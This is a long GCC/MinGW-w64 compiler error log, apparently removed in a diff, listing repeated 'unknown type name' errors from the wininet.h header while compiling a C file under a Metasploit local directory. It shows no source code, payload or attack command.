-/usr/share/mingw-w64/include/wininet.h:1164:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1165:3: error: unknown type name ‘EXTERN_C’ - 1165 | BOOLAPI InternetCheckConnectionW(LPCWSTR lpszUrl,DWORD dwFlags,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1165:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1165 | BOOLAPI InternetCheckConnectionW(LPCWSTR lpszUrl,DWORD dwFlags,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1165:3: error: unknown type name ‘WINBOOL’ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1175:3: error: unknown type name ‘DWORD’ - 1175 | DWORD InternetAuthNotifyCallback(DWORD_PTR dwContext,DWORD dwReturn,LPVOID lpReserved); - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1175:36: error: unknown type name ‘DWORD_PTR’ - 1175 | DWORD InternetAuthNotifyCallback(DWORD_PTR dwContext,DWORD dwReturn,LPVOID lpReserved); - | ^~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1175:56: error: unknown type name ‘DWORD’ - 1175 | DWORD InternetAuthNotifyCallback(DWORD_PTR dwContext,DWORD dwReturn,LPVOID lpReserved); - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1175:71: error: unknown type name ‘LPVOID’ - 1175 | DWORD InternetAuthNotifyCallback(DWORD_PTR dwContext,DWORD dwReturn,LPVOID lpReserved); - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:1176:18: error: unknown type name ‘CALLBACK’ - 1176 | typedef DWORD (CALLBACK *PFN_AUTH_NOTIFY) (DWORD_PTR,DWORD,LPVOID); - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1179:5: error: unknown type name ‘DWORD’ - 1179 | DWORD cbStruct; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1180:5: error: unknown type name ‘DWORD’ - 1180 | DWORD dwOptions; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1181:5: error: unknown type name ‘PFN_AUTH_NOTIFY’ - 1181 | PFN_AUTH_NOTIFY pfnNotify; - | ^~~~~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1182:5: error: unknown type name ‘DWORD_PTR’ - 1182 | DWORD_PTR dwContext; - | ^~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1188:3: error: unknown type name ‘EXTERN_C’ - 1188 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossing(HWND hWnd,LPSTR szUrlPrev,LPSTR szUrlNew,WINBOOL bPost); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1188:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1188 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossing(HWND hWnd,LPSTR szUrlPrev,LPSTR szUrlNew,WINBOOL bPost); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1188:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:1191:3: error: unknown type name ‘EXTERN_C’ - 1191 | INTERNETAPI_(WINBOOL) ResumeSuspendedDownload(HINTERNET hRequest,DWORD dwResultCode); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1191:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1191 | INTERNETAPI_(WINBOOL) ResumeSuspendedDownload(HINTERNET hRequest,DWORD dwResultCode); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1191:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1192:3: error: unknown type name ‘EXTERN_C’ - 1192 | INTERNETAPI_(DWORD) InternetErrorDlg(HWND hWnd,HINTERNET hRequest,DWORD dwError,DWORD dwFlags,LPVOID *lppvData); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1192:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1192 | INTERNETAPI_(DWORD) InternetErrorDlg(HWND hWnd,HINTERNET hRequest,DWORD dwError,DWORD dwFlags,LPVOID *lppvData); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1192:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:1193:3: error: unknown type name ‘EXTERN_C’ - 1193 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossingA(HWND hWnd,LPSTR szUrlPrev,LPSTR szUrlNew,WINBOOL bPost); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1193:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1193 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossingA(HWND hWnd,LPSTR szUrlPrev,LPSTR szUrlNew,WINBOOL bPost); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1193:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:1194:3: error: unknown type name ‘EXTERN_C’ - 1194 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossingW(HWND hWnd,LPWSTR szUrlPrev,LPWSTR szUrlNew,WINBOOL bPost); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1194:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1194 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossingW(HWND hWnd,LPWSTR szUrlPrev,LPWSTR szUrlNew,WINBOOL bPost); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1194:3: error: unknown type name ‘DWORD’ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1305:5: error: unknown type name ‘DWORD’ - 1305 | DWORD dwStructSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1306:5: error: unknown type name ‘LPSTR’ - 1306 | LPSTR lpszSourceUrlName; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1307:5: error: unknown type name ‘LPSTR’ - 1307 | LPSTR lpszLocalFileName; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1308:5: error: unknown type name ‘DWORD’ - 1308 | DWORD CacheEntryType; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1309:5: error: unknown type name ‘DWORD’ - 1309 | DWORD dwUseCount; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1310:5: error: unknown type name ‘DWORD’ - 1310 | DWORD dwHitRate; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1311:5: error: unknown type name ‘DWORD’ - 1311 | DWORD dwSizeLow; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1312:5: error: unknown type name ‘DWORD’ - 1312 | DWORD dwSizeHigh; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1313:5: error: unknown type name ‘FILETIME’ - 1313 | FILETIME LastModifiedTime; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1314:5: error: unknown type name ‘FILETIME’ - 1314 | FILETIME ExpireTime; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1315:5: error: unknown type name ‘FILETIME’ - 1315 | FILETIME LastAccessTime; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1316:5: error: unknown type name ‘FILETIME’ - 1316 | FILETIME LastSyncTime; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1317:5: error: unknown type name ‘LPSTR’ - 1317 | LPSTR lpHeaderInfo; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1318:5: error: unknown type name ‘DWORD’ - 1318 | DWORD dwHeaderInfoSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1319:5: error: unknown type name ‘LPSTR’ - 1319 | LPSTR lpszFileExtension; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1320:5: error: expected specifier-qualifier-list before ‘__C89_NAMELESS’ - 1320 | __C89_NAMELESS union { - | ^~~~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1327:5: error: unknown type name ‘DWORD’ - 1327 | DWORD dwStructSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1328:5: error: unknown type name ‘LPWSTR’ - 1328 | LPWSTR lpszSourceUrlName; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:1329:5: error: unknown type name ‘LPWSTR’ - 1329 | LPWSTR lpszLocalFileName; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:1330:5: error: unknown type name ‘DWORD’ - 1330 | DWORD CacheEntryType; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1331:5: error: unknown type name ‘DWORD’ - 1331 | DWORD dwUseCount; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1332:5: error: unknown type name ‘DWORD’ - 1332 | DWORD dwHitRate; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1333:5: error: unknown type name ‘DWORD’ - 1333 | DWORD dwSizeLow; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1334:5: error: unknown type name ‘DWORD’ - 1334 | DWORD dwSizeHigh; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1335:5: error: unknown type name ‘FILETIME’ - 1335 | FILETIME LastModifiedTime; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1336:5: error: unknown type name ‘FILETIME’ - 1336 | FILETIME ExpireTime; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1337:5: error: unknown type name ‘FILETIME’ - 1337 | FILETIME LastAccessTime; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1338:5: error: unknown type name ‘FILETIME’ - 1338 | FILETIME LastSyncTime; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1339:5: error: unknown type name ‘LPWSTR’ - 1339 | LPWSTR lpHeaderInfo; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:1340:5: error: unknown type name ‘DWORD’ - 1340 | DWORD dwHeaderInfoSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1341:5: error: unknown type name ‘LPWSTR’ - 1341 | LPWSTR lpszFileExtension; - | ^~~~~~ -/usr/share/mingw-w64/include/wininet.h:1342:5: error: expected specifier-qualifier-list before ‘__C89_NAMELESS’ - 1342 | __C89_NAMELESS union { - | ^~~~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1352:5: error: unknown type name ‘FILETIME’ - 1352 | FILETIME ftExpires; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1353:5: error: unknown type name ‘FILETIME’ - 1353 | FILETIME ftLastModified; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1356:11: error: unknown type name ‘LONGLONG’ - 1356 | typedef LONGLONG GROUPID; - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1381:5: error: unknown type name ‘DWORD’ - 1381 | DWORD dwGroupSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1382:5: error: unknown type name ‘DWORD’ - 1382 | DWORD dwGroupFlags; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1383:5: error: unknown type name ‘DWORD’ - 1383 | DWORD dwGroupType; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1384:5: error: unknown type name ‘DWORD’ - 1384 | DWORD dwDiskUsage; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1385:5: error: unknown type name ‘DWORD’ - 1385 | DWORD dwDiskQuota; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1386:5: error: unknown type name ‘DWORD’ - 1386 | DWORD dwOwnerStorage[GROUP_OWNER_STORAGE_SIZE]; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1387:5: error: unknown type name ‘CHAR’ - 1387 | CHAR szGroupName[GROUPNAME_MAX_LENGTH]; - | ^~~~ -/usr/share/mingw-w64/include/wininet.h:1391:5: error: unknown type name ‘DWORD’ - 1391 | DWORD dwGroupSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1392:5: error: unknown type name ‘DWORD’ - 1392 | DWORD dwGroupFlags; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1393:5: error: unknown type name ‘DWORD’ - 1393 | DWORD dwGroupType; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1394:5: error: unknown type name ‘DWORD’ - 1394 | DWORD dwDiskUsage; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1395:5: error: unknown type name ‘DWORD’ - 1395 | DWORD dwDiskQuota; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1396:5: error: unknown type name ‘DWORD’ - 1396 | DWORD dwOwnerStorage[GROUP_OWNER_STORAGE_SIZE]; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1397:5: error: unknown type name ‘WCHAR’ - 1397 | WCHAR szGroupName[GROUPNAME_MAX_LENGTH]; - | ^~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1413:3: error: unknown type name ‘EXTERN_C’ - 1413 | BOOLAPI CreateUrlCacheEntryA(LPCSTR lpszUrlName,DWORD dwExpectedFileSize,LPCSTR lpszFileExtension,LPSTR lpszFileName,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1413:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1413 | BOOLAPI CreateUrlCacheEntryA(LPCSTR lpszUrlName,DWORD dwExpectedFileSize,LPCSTR lpszFileExtension,LPSTR lpszFileName,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1413:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1414:3: error: unknown type name ‘EXTERN_C’ - 1414 | BOOLAPI CreateUrlCacheEntryW(LPCWSTR lpszUrlName,DWORD dwExpectedFileSize,LPCWSTR lpszFileExtension,LPWSTR lpszFileName,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1414:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1414 | BOOLAPI CreateUrlCacheEntryW(LPCWSTR lpszUrlName,DWORD dwExpectedFileSize,LPCWSTR lpszFileExtension,LPWSTR lpszFileName,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1414:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1416:3: error: unknown type name ‘EXTERN_C’ - 1416 | BOOLAPI CommitUrlCacheEntryA(LPCSTR lpszUrlName,LPCSTR lpszLocalFileName,FILETIME ExpireTime,FILETIME LastModifiedTime,DWORD CacheEntryType,LPBYTE lpHeaderInfo,DWORD dwHeaderSize,LPCSTR lpszFileExtension,LPCSTR lpszOriginalUrl); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1416:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1416 | BOOLAPI CommitUrlCacheEntryA(LPCSTR lpszUrlName,LPCSTR lpszLocalFileName,FILETIME ExpireTime,FILETIME LastModifiedTime,DWORD CacheEntryType,LPBYTE lpHeaderInfo,DWORD dwHeaderSize,LPCSTR lpszFileExtension,LPCSTR lpszOriginalUrl); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1416:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1417:3: error: unknown type name ‘EXTERN_C’ - 1417 | BOOLAPI CommitUrlCacheEntryW(LPCWSTR lpszUrlName,LPCWSTR lpszLocalFileName,FILETIME ExpireTime,FILETIME LastModifiedTime,DWORD CacheEntryType,LPWSTR lpszHeaderInfo,DWORD dwHeaders,LPCWSTR lpszFileExtension,LPCWSTR lpszOriginalUrl); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1417:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1417 | BOOLAPI CommitUrlCacheEntryW(LPCWSTR lpszUrlName,LPCWSTR lpszLocalFileName,FILETIME ExpireTime,FILETIME LastModifiedTime,DWORD CacheEntryType,LPWSTR lpszHeaderInfo,DWORD dwHeaders,LPCWSTR lpszFileExtension,LPCWSTR lpszOriginalUrl); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1417:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1422:3: error: unknown type name ‘EXTERN_C’ - 1422 | BOOLAPI RetrieveUrlCacheEntryFileA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1422:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1422 | BOOLAPI RetrieveUrlCacheEntryFileA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1422:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1423:3: error: unknown type name ‘EXTERN_C’ - 1423 | BOOLAPI RetrieveUrlCacheEntryFileW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1423:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1423 | BOOLAPI RetrieveUrlCacheEntryFileW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1423:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1424:3: error: unknown type name ‘EXTERN_C’ - 1424 | BOOLAPI UnlockUrlCacheEntryFileA(LPCSTR lpszUrlName,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1424:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1424 | BOOLAPI UnlockUrlCacheEntryFileA(LPCSTR lpszUrlName,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1424:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1425:3: error: unknown type name ‘EXTERN_C’ - 1425 | BOOLAPI UnlockUrlCacheEntryFileW(LPCWSTR lpszUrlName,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1425:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1425 | BOOLAPI UnlockUrlCacheEntryFileW(LPCWSTR lpszUrlName,DWORD dwReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1425:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1426:3: error: unknown type name ‘EXTERN_C’ - 1426 | INTERNETAPI_(HANDLE) RetrieveUrlCacheEntryStreamA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,WINBOOL fRandomRead,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1426:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ - 1426 | INTERNETAPI_(HANDLE) RetrieveUrlCacheEntryStreamA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,WINBOOL fRandomRead,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1426:3: error: unknown type name ‘HANDLE’ -/usr/share/mingw-w64/include/wininet.h:1427:3: error: unknown type name ‘EXTERN_C’ - 1427 | INTERNETAPI_(HANDLE) RetrieveUrlCacheEntryStreamW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,WINBOOL fRandomRead,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1427:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ - 1427 | INTERNETAPI_(HANDLE) RetrieveUrlCacheEntryStreamW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,WINBOOL fRandomRead,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1427:3: error: unknown type name ‘HANDLE’ -/usr/share/mingw-w64/include/wininet.h:1428:3: error: unknown type name ‘EXTERN_C’ - 1428 | BOOLAPI ReadUrlCacheEntryStream(HANDLE hUrlCacheStream,DWORD dwLocation,LPVOID lpBuffer,LPDWORD lpdwLen,DWORD Reserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1428:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1428 | BOOLAPI ReadUrlCacheEntryStream(HANDLE hUrlCacheStream,DWORD dwLocation,LPVOID lpBuffer,LPDWORD lpdwLen,DWORD Reserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1428:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1429:3: error: unknown type name ‘EXTERN_C’ - 1429 | BOOLAPI UnlockUrlCacheEntryStream(HANDLE hUrlCacheStream,DWORD Reserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1429:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1429 | BOOLAPI UnlockUrlCacheEntryStream(HANDLE hUrlCacheStream,DWORD Reserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1429:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1430:3: error: unknown type name ‘EXTERN_C’ - 1430 | URLCACHEAPI_(WINBOOL) GetUrlCacheEntryInfoA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1430:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1430 | URLCACHEAPI_(WINBOOL) GetUrlCacheEntryInfoA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1430:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1431:3: error: unknown type name ‘EXTERN_C’ - 1431 | URLCACHEAPI_(WINBOOL) GetUrlCacheEntryInfoW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1431:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1431 | URLCACHEAPI_(WINBOOL) GetUrlCacheEntryInfoW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1431:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1432:3: error: unknown type name ‘EXTERN_C’ - 1432 | URLCACHEAPI_(HANDLE) FindFirstUrlCacheGroup(DWORD dwFlags,DWORD dwFilter,LPVOID lpSearchCondition,DWORD dwSearchCondition,GROUPID *lpGroupId,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1432:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ - 1432 | URLCACHEAPI_(HANDLE) FindFirstUrlCacheGroup(DWORD dwFlags,DWORD dwFilter,LPVOID lpSearchCondition,DWORD dwSearchCondition,GROUPID *lpGroupId,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1432:3: error: unknown type name ‘HANDLE’ -/usr/share/mingw-w64/include/wininet.h:1433:3: error: unknown type name ‘EXTERN_C’ - 1433 | URLCACHEAPI_(WINBOOL) FindNextUrlCacheGroup(HANDLE hFind,GROUPID *lpGroupId,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1433:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1433 | URLCACHEAPI_(WINBOOL) FindNextUrlCacheGroup(HANDLE hFind,GROUPID *lpGroupId,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1433:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1434:3: error: unknown type name ‘EXTERN_C’ - 1434 | URLCACHEAPI_(WINBOOL) GetUrlCacheGroupAttributeA(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOA lpGroupInfo,LPDWORD lpdwGroupInfo,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1434:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1434 | URLCACHEAPI_(WINBOOL) GetUrlCacheGroupAttributeA(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOA lpGroupInfo,LPDWORD lpdwGroupInfo,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1434:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1435:3: error: unknown type name ‘EXTERN_C’ - 1435 | URLCACHEAPI_(WINBOOL) GetUrlCacheGroupAttributeW(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOW lpGroupInfo,LPDWORD lpdwGroupInfo,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1435:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1435 | URLCACHEAPI_(WINBOOL) GetUrlCacheGroupAttributeW(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOW lpGroupInfo,LPDWORD lpdwGroupInfo,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1435:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1436:3: error: unknown type name ‘EXTERN_C’ - 1436 | URLCACHEAPI_(WINBOOL) SetUrlCacheGroupAttributeA(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOA lpGroupInfo,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1436:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1436 | URLCACHEAPI_(WINBOOL) SetUrlCacheGroupAttributeA(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOA lpGroupInfo,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1436:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1437:3: error: unknown type name ‘EXTERN_C’ - 1437 | URLCACHEAPI_(WINBOOL) SetUrlCacheGroupAttributeW(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOW lpGroupInfo,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1437:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1437 | URLCACHEAPI_(WINBOOL) SetUrlCacheGroupAttributeW(GROUPID gid,DWORD dwFlags,DWORD dwAttributes,LPINTERNET_CACHE_GROUP_INFOW lpGroupInfo,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1437:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1438:3: error: unknown type name ‘EXTERN_C’ - 1438 | 